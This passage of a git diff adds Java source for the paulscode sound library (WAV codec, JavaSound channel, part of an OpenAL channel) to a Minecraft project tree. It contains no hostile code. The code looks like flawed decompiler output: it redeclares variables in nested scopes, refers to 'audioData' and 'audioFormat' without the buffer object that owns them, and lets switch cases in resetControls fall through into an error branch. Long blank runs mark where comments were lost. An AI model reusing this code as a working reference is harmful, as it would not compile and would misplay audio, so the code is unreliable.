+        }
+        
+      }
+      
+
+
+      if (joggPage.eos() != 0) {
+        endOfStream(true, true);
+      }
+      break;
+    }
+    if (!endOfStream(false, false))
+    {
+      index = joggSyncState.buffer(bufferSize);
+      buffer = joggSyncState.data;
+      try
+      {
+        count = inputStream.read(buffer, index, bufferSize);
+      }
+      catch (Exception e)
+      {
+        printStackTrace(e);
+        return null;
+      }
+      if (count == -1) {
+        return returnBuffer;
+      }
+      joggSyncState.wrote(count);
+      if (count == 0) {
+        endOfStream(true, true);
+      }
+    }
+    return returnBuffer;
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean initialized(boolean action, boolean value)
+  {
+    if (action == true)
+      initialized = value;
+    return initialized;
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean endOfStream(boolean action, boolean value)
+  {
+    if (action == true)
+      endOfStream = value;
+    return endOfStream;
+  }
+  
+
+
+
+
+
+
+
+  private static byte[] trimArray(byte[] array, int maxLength)
+  {
+    byte[] trimmedArray = null;
+    if ((array != null) && (array.length > maxLength))
+    {
+      trimmedArray = new byte[maxLength];
+      System.arraycopy(array, 0, trimmedArray, 0, maxLength);
+    }
+    return trimmedArray;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static byte[] appendByteArrays(byte[] arrayOne, byte[] arrayTwo, int arrayTwoBytes)
+  {
+    int bytes = arrayTwoBytes;
+    
+
+    if ((arrayTwo == null) || (arrayTwo.length == 0)) {
+      bytes = 0;
+    } else if (arrayTwo.length < arrayTwoBytes) {
+      bytes = arrayTwo.length;
+    }
+    if ((arrayOne == null) && ((arrayTwo == null) || (bytes <= 0)))
+    {
+
+      return null; }
+    byte[] newArray;
+    if (arrayOne == null)
+    {
+
+      byte[] newArray = new byte[bytes];
+      
+      System.arraycopy(arrayTwo, 0, newArray, 0, bytes);
+      arrayTwo = null;
+    }
+    else if ((arrayTwo == null) || (bytes <= 0))
+    {
+
+      byte[] newArray = new byte[arrayOne.length];
+      
+      System.arraycopy(arrayOne, 0, newArray, 0, arrayOne.length);
+      arrayOne = null;
+
+    }
+    else
+    {
+      newArray = new byte[arrayOne.length + bytes];
+      System.arraycopy(arrayOne, 0, newArray, 0, arrayOne.length);
+      
+      System.arraycopy(arrayTwo, 0, newArray, arrayOne.length, bytes);
+      
+      arrayOne = null;
+      arrayTwo = null;
+    }
+    
+    return newArray;
+  }
+  
+
+
+
+
+
+
+
+
+  private static byte[] appendByteArrays(byte[] arrayOne, byte[] arrayTwo)
+  {
+    if ((arrayOne == null) && (arrayTwo == null))
+    {
+
+      return null; }
+    byte[] newArray;
+    if (arrayOne == null)
+    {
+
+      byte[] newArray = new byte[arrayTwo.length];
+      
+      System.arraycopy(arrayTwo, 0, newArray, 0, arrayTwo.length);
+      arrayTwo = null;
+    }
+    else if (arrayTwo == null)
+    {
+
+      byte[] newArray = new byte[arrayOne.length];
+      
+      System.arraycopy(arrayOne, 0, newArray, 0, arrayOne.length);
+      arrayOne = null;
+
+    }
+    else
+    {
+      newArray = new byte[arrayOne.length + arrayTwo.length];
+      System.arraycopy(arrayOne, 0, newArray, 0, arrayOne.length);
+      
+      System.arraycopy(arrayTwo, 0, newArray, arrayOne.length, arrayTwo.length);
+      
+      arrayOne = null;
+      arrayTwo = null;
+    }
+    
+    return newArray;
+  }
+  
+
+
+
+
+  private void errorMessage(String message)
+  {
+    logger.errorMessage("CodecJOrbis", message, 0);
+  }
+  
+
+
+
+
+  private void printStackTrace(Exception e)
+  {
+    logger.printStackTrace(e, 1);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/codecs/CodecWav.java b/src/minecraft/paulscode/sound/codecs/CodecWav.java
new file mode 100644
index 0000000..6578c23
--- /dev/null
+++ b/src/minecraft/paulscode/sound/codecs/CodecWav.java
@@ -0,0 +1,546 @@
+package paulscode.sound.codecs;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.net.URL;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.ShortBuffer;
+import javax.sound.sampled.AudioFormat;
+import javax.sound.sampled.AudioInputStream;
+import javax.sound.sampled.AudioSystem;
+import javax.sound.sampled.UnsupportedAudioFileException;
+import paulscode.sound.ICodec;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.SoundSystemConfig;
+import paulscode.sound.SoundSystemLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CodecWav
+  implements ICodec
+{
+  private static final boolean GET = false;
+  private static final boolean SET = true;
+  private static final boolean XXX = false;
+  private boolean endOfStream = false;
+  
+
+
+
+  private boolean initialized = false;
+  
+
+
+
+  private AudioInputStream myAudioInputStream = null;
+  
+
+
+
+  private SoundSystemLogger logger;
+  
+
+
+
+
+  public void reverseByteOrder(boolean b) {}
+  
+
+
+
+
+  public CodecWav()
+  {
+    logger = SoundSystemConfig.getLogger();
+  }
+  
+
+
+
+
+
+
+  public boolean initialize(URL url)
+  {
+    initialized(true, false);
+    cleanup();
+    
+    if (url == null)
+    {
+      errorMessage("url null in method 'initialize'");
+      cleanup();
+      return false;
+    }
+    
+    try
+    {
+      myAudioInputStream = AudioSystem.getAudioInputStream(new BufferedInputStream(url.openStream()));
+
+    }
+    catch (UnsupportedAudioFileException uafe)
+    {
+      errorMessage("Unsupported audio format in method 'initialize'");
+      printStackTrace(uafe);
+      return false;
+    }
+    catch (IOException ioe)
+    {
+      errorMessage("Error setting up audio input stream in method 'initialize'");
+      
+      printStackTrace(ioe);
+      return false;
+    }
+    
+    endOfStream(true, false);
+    initialized(true, true);
+    return true;
+  }
+  
+
+
+
+
+  public boolean initialized()
+  {
+    return initialized(false, false);
+  }
+  
+
+
+
+
+
+
+  public SoundBuffer read()
+  {
+    if (myAudioInputStream == null) {
+      return null;
+    }
+    
+    AudioFormat audioFormat = myAudioInputStream.getFormat();
+    
+
+    if (audioFormat == null)
+    {
+      errorMessage("Audio Format null in method 'read'");
+      return null;
+    }
+    
+
+    int bytesRead = 0;int cnt = 0;
+    
+
+    byte[] streamBuffer = new byte[SoundSystemConfig.getStreamingBufferSize()];
+    
+
+
+
+    try
+    {
+      while ((!endOfStream(false, false)) && (bytesRead < streamBuffer.length))
+      {
+        if ((cnt = myAudioInputStream.read(streamBuffer, bytesRead, streamBuffer.length - bytesRead)) <= 0)
+        {
+
+
+          endOfStream(true, true);
+          break;
+        }
+        
+        bytesRead += cnt;
+      }
+      
+    }
+    catch (IOException ioe)
+    {
+      endOfStream(true, true);
+      return null;
+    }
+    
+
+    if (bytesRead <= 0) {
+      return null;
+    }
+    
+    if (bytesRead < streamBuffer.length) {
+      streamBuffer = trimArray(streamBuffer, bytesRead);
+    }
+    
+
+    byte[] data = convertAudioBytes(streamBuffer, audioFormat.getSampleSizeInBits() == 16);
+    
+
+
+    SoundBuffer buffer = new SoundBuffer(data, audioFormat);
+    
+
+    return buffer;
+  }
+  
+
+
+
+
+
+
+
+
+  public SoundBuffer readAll()
+  {
+    if (myAudioInputStream == null)
+    {
+      errorMessage("Audio input stream null in method 'readAll'");
+      return null;
+    }
+    AudioFormat myAudioFormat = myAudioInputStream.getFormat();
+    
+
+    if (myAudioFormat == null)
+    {
+      errorMessage("Audio Format null in method 'readAll'");
+      return null;
+    }
+    
+
+    byte[] fullBuffer = null;
+    
+
+    int fileSize = myAudioFormat.getChannels() * (int)myAudioInputStream.getFrameLength() * myAudioFormat.getSampleSizeInBits() / 8;
+    
+
+    if (fileSize > 0)
+    {
+
+      fullBuffer = new byte[myAudioFormat.getChannels() * (int)myAudioInputStream.getFrameLength() * myAudioFormat.getSampleSizeInBits() / 8];
+      
+
+
+      int read = 0;int total = 0;
+      
+
+
+
+      try
+      {
+        while (((read = myAudioInputStream.read(fullBuffer, total, fullBuffer.length - total)) != -1) && (total < fullBuffer.length))
+        {
+          total += read;
+        }
+      }
+      catch (IOException e)
+      {
+        errorMessage("Exception thrown while reading from the AudioInputStream (location #1).");
+        
+        printStackTrace(e);
+        return null;
+      }
+      
+
+    }
+    else
+    {
+
+      int totalBytes = 0;int bytesRead = 0;int cnt = 0;
+      byte[] smallBuffer = null;
+      
+
+      smallBuffer = new byte[SoundSystemConfig.getFileChunkSize()];
+      
+
+      while ((!endOfStream(false, false)) && (totalBytes < SoundSystemConfig.getMaxFileSize()))
+      {
+
+        bytesRead = 0;
+        cnt = 0;
+        
+
+        try
+        {
+          while (bytesRead < smallBuffer.length)
+          {
+            if ((cnt = myAudioInputStream.read(smallBuffer, bytesRead, smallBuffer.length - bytesRead)) <= 0)
+            {
+
+
+              endOfStream(true, true);
+              break;
+            }
+            bytesRead += cnt;
+          }
+        }
+        catch (IOException e)
+        {
+          errorMessage("Exception thrown while reading from the AudioInputStream (location #2).");
+          
+          printStackTrace(e);
+          return null;
+        }
+        
+
+        totalBytes += bytesRead;
+        
+
+        fullBuffer = appendByteArrays(fullBuffer, smallBuffer, bytesRead);
+      }
+    }
+    
+
+
+    byte[] data = convertAudioBytes(fullBuffer, myAudioFormat.getSampleSizeInBits() == 16);
+    
+
+
+    SoundBuffer soundBuffer = new SoundBuffer(data, myAudioFormat);
+    
+
+    try
+    {
+      myAudioInputStream.close();
+    }
+    catch (IOException e) {}
+    
+
+
+    return soundBuffer;
+  }
+  
+
+
+
+
+  public boolean endOfStream()
+  {
+    return endOfStream(false, false);
+  }
+  
+
+
+
+  public void cleanup()
+  {
+    if (myAudioInputStream != null) {
+      try
+      {
+        myAudioInputStream.close();
+      }
+      catch (Exception e) {}
+    }
+    myAudioInputStream = null;
+  }
+  
+
+
+
+
+
+  public AudioFormat getAudioFormat()
+  {
+    if (myAudioInputStream == null)
+      return null;
+    return myAudioInputStream.getFormat();
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean initialized(boolean action, boolean value)
+  {
+    if (action == true)
+      initialized = value;
+    return initialized;
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean endOfStream(boolean action, boolean value)
+  {
+    if (action == true)
+      endOfStream = value;
+    return endOfStream;
+  }
+  
+
+
+
+
+
+
+
+  private static byte[] trimArray(byte[] array, int maxLength)
+  {
+    byte[] trimmedArray = null;
+    if ((array != null) && (array.length > maxLength))
+    {
+      trimmedArray = new byte[maxLength];
+      System.arraycopy(array, 0, trimmedArray, 0, maxLength);
+    }
+    return trimmedArray;
+  }
+  
+
+
+
+
+
+
+
+  private static byte[] convertAudioBytes(byte[] audio_bytes, boolean two_bytes_data)
+  {
+    ByteBuffer dest = ByteBuffer.allocateDirect(audio_bytes.length);
+    dest.order(ByteOrder.nativeOrder());
+    ByteBuffer src = ByteBuffer.wrap(audio_bytes);
+    src.order(ByteOrder.LITTLE_ENDIAN);
+    if (two_bytes_data)
+    {
+      ShortBuffer dest_short = dest.asShortBuffer();
+      ShortBuffer src_short = src.asShortBuffer();
+      while (src_short.hasRemaining())
+      {
+        dest_short.put(src_short.get());
+      }
+    }
+    else
+    {
+      while (src.hasRemaining())
+      {
+        dest.put(src.get());
+      }
+    }
+    dest.rewind();
+    
+    if (!dest.hasArray())
+    {
+      byte[] arrayBackedBuffer = new byte[dest.capacity()];
+      dest.get(arrayBackedBuffer);
+      dest.clear();
+      
+      return arrayBackedBuffer;
+    }
+    
+    return dest.array();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static byte[] appendByteArrays(byte[] arrayOne, byte[] arrayTwo, int length)
+  {
+    if ((arrayOne == null) && (arrayTwo == null))
+    {
+
+      return null; }
+    byte[] newArray;
+    if (arrayOne == null)
+    {
+
+      byte[] newArray = new byte[length];
+      
+      System.arraycopy(arrayTwo, 0, newArray, 0, length);
+      arrayTwo = null;
+    }
+    else if (arrayTwo == null)
+    {
+
+      byte[] newArray = new byte[arrayOne.length];
+      
+      System.arraycopy(arrayOne, 0, newArray, 0, arrayOne.length);
+      arrayOne = null;
+
+    }
+    else
+    {
+      newArray = new byte[arrayOne.length + length];
+      System.arraycopy(arrayOne, 0, newArray, 0, arrayOne.length);
+      
+      System.arraycopy(arrayTwo, 0, newArray, arrayOne.length, length);
+      
+      arrayOne = null;
+      arrayTwo = null;
+    }
+    
+    return newArray;
+  }
+  
+
+
+
+
+  private void errorMessage(String message)
+  {
+    logger.errorMessage("CodecWav", message, 0);
+  }
+  
+
+
+
+
+  private void printStackTrace(Exception e)
+  {
+    logger.printStackTrace(e, 1);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/libraries/ChannelJavaSound.java b/src/minecraft/paulscode/sound/libraries/ChannelJavaSound.java
new file mode 100644
index 0000000..8419ef9
--- /dev/null
+++ b/src/minecraft/paulscode/sound/libraries/ChannelJavaSound.java
@@ -0,0 +1,989 @@
+package paulscode.sound.libraries;
+
+import java.util.LinkedList;
+import java.util.List;
+import javax.sound.sampled.AudioFormat;
+import javax.sound.sampled.AudioSystem;
+import javax.sound.sampled.Clip;
+import javax.sound.sampled.DataLine.Info;
+import javax.sound.sampled.FloatControl;
+import javax.sound.sampled.FloatControl.Type;
+import javax.sound.sampled.Mixer;
+import javax.sound.sampled.SourceDataLine;
+import paulscode.sound.Channel;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.Source;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelJavaSound
+  extends Channel
+{
+  public Clip clip = null;
+  
+
+
+
+
+  SoundBuffer soundBuffer;
+  
+
+
+
+
+  public SourceDataLine sourceDataLine = null;
+  
+
+
+
+  private List<SoundBuffer> streamBuffers;
+  
+
+
+  private int processed = 0;
+  
+
+
+
+
+
+  private Mixer myMixer = null;
+  
+
+
+  private AudioFormat myFormat = null;
+  
+
+
+
+  private FloatControl gainControl = null;
+  
+
+
+  private FloatControl panControl = null;
+  
+
+
+
+  private FloatControl sampleRateControl = null;
+  
+
+
+
+  private float initialGain = 0.0F;
+  
+
+
+
+  private float initialSampleRate = 0.0F;
+  
+
+
+
+
+  private boolean toLoop = false;
+  
+
+
+
+
+
+
+
+  public ChannelJavaSound(int type, Mixer mixer)
+  {
+    super(type);
+    libraryType = LibraryJavaSound.class;
+    
+    myMixer = mixer;
+    clip = null;
+    sourceDataLine = null;
+    streamBuffers = new LinkedList();
+  }
+  
+
+
+
+
+
+  public void cleanup()
+  {
+    if (streamBuffers != null)
+    {
+      SoundBuffer buf = null;
+      while (!streamBuffers.isEmpty())
+      {
+        buf = (SoundBuffer)streamBuffers.remove(0);
+        buf.cleanup();
+        buf = null;
+      }
+      streamBuffers.clear();
+    }
+    
+    clip = null;
+    soundBuffer = null;
+    sourceDataLine = null;
+    streamBuffers.clear();
+    myMixer = null;
+    myFormat = null;
+    streamBuffers = null;
+    
+    super.cleanup();
+  }
+  
+
+
+
+
+  public void newMixer(Mixer m)
+  {
+    if (myMixer != m)
+    {
+      try
+      {
+        if (clip != null) {
+          clip.close();
+        } else if (sourceDataLine != null) {
+          sourceDataLine.close();
+        }
+      }
+      catch (SecurityException e) {}
+      
+      myMixer = m;
+      if (attachedSource != null)
+      {
+        if ((channelType == 0) && (soundBuffer != null))
+        {
+          attachBuffer(soundBuffer);
+        } else if (myFormat != null) {
+          resetStream(myFormat);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  public boolean attachBuffer(SoundBuffer buffer)
+  {
+    if (errorCheck(channelType != 0, "Buffers may only be attached to non-streaming sources"))
+    {
+
+      return false;
+    }
+    
+    if (errorCheck(myMixer == null, "Mixer null in method 'attachBuffer'"))
+    {
+      return false;
+    }
+    
+    if (errorCheck(buffer == null, "Buffer null in method 'attachBuffer'"))
+    {
+      return false;
+    }
+    
+    if (errorCheck(audioData == null, "Buffer missing audio data in method 'attachBuffer'"))
+    {
+
+      return false;
+    }
+    
+    if (errorCheck(audioFormat == null, "Buffer missing format information in method 'attachBuffer'"))
+    {
+
+      return false;
+    }
+    
+    DataLine.Info lineInfo = new DataLine.Info(Clip.class, audioFormat);
+    if (errorCheck(!AudioSystem.isLineSupported(lineInfo), "Line not supported in method 'attachBuffer'"))
+    {
+      return false;
+    }
+    Clip newClip = null;
+    try
+    {
+      newClip = (Clip)myMixer.getLine(lineInfo);
+    }
+    catch (Exception e)
+    {
+      errorMessage("Unable to create clip in method 'attachBuffer'");
+      printStackTrace(e);
+      return false;
+    }
+    
+    if (errorCheck(newClip == null, "New clip null in method 'attachBuffer'"))
+    {
+      return false;
+    }
+    
+    if (clip != null)
+    {
+      clip.stop();
+      clip.flush();
+      clip.close();
+    }
+    
+
+    clip = newClip;
+    soundBuffer = buffer;
+    myFormat = audioFormat;
+    newClip = null;
+    
+    try
+    {
+      clip.open(myFormat, audioData, 0, audioData.length);
+    }
+    catch (Exception e)
+    {
+      errorMessage("Unable to attach buffer to clip in method 'attachBuffer'");
+      
+      printStackTrace(e);
+      return false;
+    }
+    
+    resetControls();
+    
+
+    return true;
+  }
+  
+
+
+
+
+
+  public void setAudioFormat(AudioFormat audioFormat)
+  {
+    resetStream(audioFormat);
+    if ((attachedSource != null) && (attachedSource.rawDataStream) && (attachedSource.active()) && (sourceDataLine != null))
+    {
+      sourceDataLine.start();
+    }
+  }
+  
+
+
+
+
+
+  public boolean resetStream(AudioFormat format)
+  {
+    if (errorCheck(myMixer == null, "Mixer null in method 'resetStream'"))
+    {
+      return false;
+    }
+    
+    if (errorCheck(format == null, "AudioFormat null in method 'resetStream'"))
+    {
+      return false;
+    }
+    
+    DataLine.Info lineInfo = new DataLine.Info(SourceDataLine.class, format);
+    if (errorCheck(!AudioSystem.isLineSupported(lineInfo), "Line not supported in method 'resetStream'"))
+    {
+      return false;
+    }
+    SourceDataLine newSourceDataLine = null;
+    try
+    {
+      newSourceDataLine = (SourceDataLine)myMixer.getLine(lineInfo);
+    }
+    catch (Exception e)
+    {
+      errorMessage("Unable to create a SourceDataLine in method 'resetStream'");
+      
+      printStackTrace(e);
+      return false;
+    }
+    
+    if (errorCheck(newSourceDataLine == null, "New SourceDataLine null in method 'resetStream'"))
+    {
+      return false;
+    }
+    streamBuffers.clear();
+    processed = 0;
+    
+
+    if (sourceDataLine != null)
+    {
+      sourceDataLine.stop();
+      sourceDataLine.flush();
+      sourceDataLine.close();
+    }
+    
+
+    sourceDataLine = newSourceDataLine;
+    myFormat = format;
+    newSourceDataLine = null;
+    
+    try
+    {
+      sourceDataLine.open(myFormat);
+    }
+    catch (Exception e)
+    {
+      errorMessage("Unable to open the new SourceDataLine in method 'resetStream'");
+      
+      printStackTrace(e);
+      return false;
+    }
+    
+    resetControls();
+    
+
+    return true;
+  }
+  
+
+
+
+  private void resetControls()
+  {
+    switch (channelType)
+    {
+
+    case 0: 
+      try
+      {
+        if (!clip.isControlSupported(FloatControl.Type.PAN)) {
+          panControl = null;
+        }
+        else {
+          panControl = ((FloatControl)clip.getControl(FloatControl.Type.PAN));
+        }
+      }
+      catch (IllegalArgumentException iae)
+      {
+        panControl = null;
+      }
+      
+      try
+      {
+        if (!clip.isControlSupported(FloatControl.Type.MASTER_GAIN))
+        {
+          gainControl = null;
+          initialGain = 0.0F;
+
+        }
+        else
+        {
+          gainControl = ((FloatControl)clip.getControl(FloatControl.Type.MASTER_GAIN));
+          
+
+          initialGain = gainControl.getValue();
+        }
+      }
+      catch (IllegalArgumentException iae)
+      {
+        gainControl = null;
+        initialGain = 0.0F;
+      }
+      
+      try
+      {
+        if (!clip.isControlSupported(FloatControl.Type.SAMPLE_RATE))
+        {
+          sampleRateControl = null;
+          initialSampleRate = 0.0F;
+
+        }
+        else
+        {
+          sampleRateControl = ((FloatControl)clip.getControl(FloatControl.Type.SAMPLE_RATE));
+          
+
+          initialSampleRate = sampleRateControl.getValue();
+        }
+      }
+      catch (IllegalArgumentException iae)
+      {
+        sampleRateControl = null;
+        initialSampleRate = 0.0F;
+      }
+    
+
+
+    case 1: 
+      try
+      {
+        if (!sourceDataLine.isControlSupported(FloatControl.Type.PAN))
+        {
+          panControl = null;
+        }
+        else {
+          panControl = ((FloatControl)sourceDataLine.getControl(FloatControl.Type.PAN));
+        }
+      }
+      catch (IllegalArgumentException iae)
+      {
+        panControl = null;
+      }
+      
+      try
+      {
+        if (!sourceDataLine.isControlSupported(FloatControl.Type.MASTER_GAIN))
+        {
+
+          gainControl = null;
+          initialGain = 0.0F;
+
+        }
+        else
+        {
+          gainControl = ((FloatControl)sourceDataLine.getControl(FloatControl.Type.MASTER_GAIN));
+          
+
+          initialGain = gainControl.getValue();
+        }
+      }
+      catch (IllegalArgumentException iae)
+      {
+        gainControl = null;
+        initialGain = 0.0F;
+      }
+      
+      try
+      {
+        if (!sourceDataLine.isControlSupported(FloatControl.Type.SAMPLE_RATE))
+        {
+
+          sampleRateControl = null;
+          initialSampleRate = 0.0F;
+
+        }
+        else
+        {
+          sampleRateControl = ((FloatControl)sourceDataLine.getControl(FloatControl.Type.SAMPLE_RATE));
+          
+
+          initialSampleRate = sampleRateControl.getValue();
+        }
+      }
+      catch (IllegalArgumentException iae)
+      {
+        sampleRateControl = null;
+        initialSampleRate = 0.0F;
+      }
+    
+    default: 
+      errorMessage("Unrecognized channel type in method 'resetControls'");
+      
+      panControl = null;
+      gainControl = null;
+      sampleRateControl = null;
+    }
+    
+  }
+  
+
+
+
+
+  public void setLooping(boolean value)
+  {
+    toLoop = value;
+  }
+  
+
+
+
+
+
+
+  public void setPan(float p)
+  {
+    if (panControl == null)
+      return;
+    float pan = p;
+    
+    if (pan < -1.0F)
+      pan = -1.0F;
+    if (pan > 1.0F) {
+      pan = 1.0F;
+    }
+    panControl.setValue(pan);
+  }
+  
+
+
+
+
+
+  public void setGain(float g)
+  {
+    if (gainControl == null) {
+      return;
+    }
+    
+    float gain = g;
+    if (gain < 0.0F)
+      gain = 0.0F;
+    if (gain > 1.0F) {
+      gain = 1.0F;
+    }
+    double minimumDB = gainControl.getMinimum();
+    double maximumDB = initialGain;
+    
+
+
+
+
+    double ampGainDB = 0.5D * maximumDB - minimumDB;
+    double cste = Math.log(10.0D) / 20.0D;
+    float valueDB = (float)(minimumDB + 1.0D / cste * Math.log(1.0D + (Math.exp(cste * ampGainDB) - 1.0D) * gain));
+    
+
+
+    gainControl.setValue(valueDB);
+  }
+  
+
+
+
+
+
+  public void setPitch(float p)
+  {
+    if (sampleRateControl == null)
+    {
+      return;
+    }
+    float sampleRate = p;
+    
+
+    if (sampleRate < 0.5F)
+      sampleRate = 0.5F;
+    if (sampleRate > 2.0F) {
+      sampleRate = 2.0F;
+    }
+    sampleRate *= initialSampleRate;
+    
+
+    sampleRateControl.setValue(sampleRate);
+  }
+  
+
+
+
+
+
+
+
+  public boolean preLoadBuffers(LinkedList<byte[]> bufferList)
+  {
+    if (errorCheck(channelType != 1, "Buffers may only be queued for streaming sources."))
+    {
+      return false;
+    }
+    
+    if (errorCheck(sourceDataLine == null, "SourceDataLine null in method 'preLoadBuffers'."))
+    {
+      return false;
+    }
+    sourceDataLine.start();
+    
+    if (bufferList.isEmpty()) {
+      return true;
+    }
+    
+    byte[] preLoad = (byte[])bufferList.remove(0);
+    
+
+    if (errorCheck(preLoad == null, "Missing sound-bytes in method 'preLoadBuffers'."))
+    {
+      return false;
+    }
+    
+
+    while (!bufferList.isEmpty())
+    {
+      streamBuffers.add(new SoundBuffer((byte[])bufferList.remove(0), myFormat));
+    }
+    
+
+
+    sourceDataLine.write(preLoad, 0, preLoad.length);
+    
+
+    processed = 0;
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean queueBuffer(byte[] buffer)
+  {
+    if (errorCheck(channelType != 1, "Buffers may only be queued for streaming sources."))
+    {
+      return false;
+    }
+    
+    if (errorCheck(sourceDataLine == null, "SourceDataLine null in method 'queueBuffer'."))
+    {
+      return false;
+    }
+    
+    if (errorCheck(myFormat == null, "AudioFormat null in method 'queueBuffer'"))
+    {
+      return false;
+    }
+    
+    streamBuffers.add(new SoundBuffer(buffer, myFormat));
+    
+
+    processBuffer();
+    
+    processed = 0;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean processBuffer()
+  {
+    if (errorCheck(channelType != 1, "Buffers are only processed for streaming sources."))
+    {
+      return false;
+    }
+    
+    if (errorCheck(sourceDataLine == null, "SourceDataLine null in method 'processBuffer'."))
+    {
+      return false;
+    }
+    if ((streamBuffers == null) || (streamBuffers.isEmpty())) {
+      return false;
+    }
+    
+    SoundBuffer nextBuffer = (SoundBuffer)streamBuffers.remove(0);
+    
+    sourceDataLine.write(audioData, 0, audioData.length);
+    
+    if (!sourceDataLine.isActive())
+      sourceDataLine.start();
+    nextBuffer.cleanup();
+    nextBuffer = null;
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public int feedRawAudioData(byte[] buffer)
+  {
+    if (errorCheck(channelType != 1, "Raw audio data can only be processed by streaming sources."))
+    {
+      return -1;
+    }
+    if (errorCheck(streamBuffers == null, "StreamBuffers queue null in method 'feedRawAudioData'."))
+    {
+      return -1;
+    }
+    streamBuffers.add(new SoundBuffer(buffer, myFormat));
+    return buffersProcessed();
+  }
+  
+
+
+
+
+
+
+  public int buffersProcessed()
+  {
+    processed = 0;
+    
+
+    if (errorCheck(channelType != 1, "Buffers may only be queued for streaming sources."))
+    {
+
+      if (streamBuffers != null)
+        streamBuffers.clear();
+      return 0;
+    }
+    
+
+    if (sourceDataLine == null)
+    {
+      if (streamBuffers != null)
+        streamBuffers.clear();
+      return 0;
+    }
+    
+    if (sourceDataLine.available() > 0)
+    {
+      processed = 1;
+    }
+    
+    return processed;
+  }
+  
+
+
+
+
+
+
+  public void flush()
+  {
+    if (channelType != 1) {
+      return;
+    }
+    
+    if (errorCheck(sourceDataLine == null, "SourceDataLine null in method 'flush'."))
+    {
+      return;
+    }
+    sourceDataLine.stop();
+    sourceDataLine.flush();
+    sourceDataLine.drain();
+    
+    streamBuffers.clear();
+    processed = 0;
+  }
+  
+
+
+
+
+  public void close()
+  {
+    switch (channelType)
+    {
+    case 0: 
+      if (clip != null)
+      {
+        clip.stop();
+        clip.flush();
+        clip.close();
+      }
+      break;
+    case 1: 
+      if (sourceDataLine != null)
+      {
+        flush();
+        sourceDataLine.close();
+      }
+      
+
+
+      break;
+    }
+    
+  }
+  
+
+
+
+  public void play()
+  {
+    switch (channelType)
+    {
+    case 0: 
+      if (clip != null)
+      {
+        if (toLoop)
+        {
+          clip.stop();
+          clip.loop(-1);
+        }
+        else
+        {
+          clip.stop();
+          clip.start();
+        }
+      }
+      
+      break;
+    case 1: 
+      if (sourceDataLine != null)
+      {
+        sourceDataLine.start();
+      }
+      
+
+
+      break;
+    }
+    
+  }
+  
+
+
+  public void pause()
+  {
+    switch (channelType)
+    {
+    case 0: 
+      if (clip != null)
+        clip.stop();
+      break;
+    case 1: 
+      if (sourceDataLine != null) {
+        sourceDataLine.stop();
+      }
+      
+
+
+      break;
+    }
+    
+  }
+  
+
+
+  public void stop()
+  {
+    switch (channelType)
+    {
+    case 0: 
+      if (clip != null)
+      {
+        clip.stop();
+        clip.setFramePosition(0);
+      }
+      break;
+    case 1: 
+      if (sourceDataLine != null) {
+        sourceDataLine.stop();
+      }
+      
+
+
+      break;
+    }
+    
+  }
+  
+
+
+  public void rewind()
+  {
+    switch (channelType)
+    {
+    case 0: 
+      if (clip != null)
+      {
+        boolean rePlay = clip.isRunning();
+        clip.stop();
+        clip.setFramePosition(0);
+        if (rePlay)
+        {
+          if (toLoop) {
+            clip.loop(-1);
+          } else
+            clip.start(); }
+      }
+      break;
+    case 1: 
+      break;
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+
+  public float millisecondsPlayed()
+  {
+    switch (channelType)
+    {
+    case 0: 
+      if (clip == null)
+        return -1.0F;
+      return (float)clip.getMicrosecondPosition() / 1000.0F;
+    case 1: 
+      if (sourceDataLine == null)
+        return -1.0F;
+      return (float)sourceDataLine.getMicrosecondPosition() / 1000.0F;
+    }
+    return -1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public boolean playing()
+  {
+    switch (channelType)
+    {
+    case 0: 
+      if (clip == null)
+        return false;
+      return clip.isActive();
+    case 1: 
+      if (sourceDataLine == null)
+        return false;
+      return sourceDataLine.isActive();
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/paulscode/sound/libraries/ChannelLWJGLOpenAL.java b/src/minecraft/paulscode/sound/libraries/ChannelLWJGLOpenAL.java
new file mode 100644
index 0000000..644611b
--- /dev/null
+++ b/src/minecraft/paulscode/sound/libraries/ChannelLWJGLOpenAL.java
@@ -0,0 +1,688 @@
+package paulscode.sound.libraries;
+
+import java.nio.ByteBuffer;
+import java.nio.IntBuffer;
+import java.util.LinkedList;
+import javax.sound.sampled.AudioFormat;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.openal.AL10;
+import paulscode.sound.Channel;
+import paulscode.sound.SoundBuffer;
+import paulscode.sound.Source;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelLWJGLOpenAL
+  extends Channel
+{
+  public IntBuffer ALSource;
+  public int ALformat;
+  public int sampleRate;
+  public float millisPreviouslyPlayed = 0.0F;
+  
+
+
+
+
+
+
+
+
+  public ChannelLWJGLOpenAL(int type, IntBuffer src)
+  {
+    super(type);
+    libraryType = LibraryLWJGLOpenAL.class;
+    ALSource = src;
+  }
+  
+
+
+
+
+
+  public void cleanup()
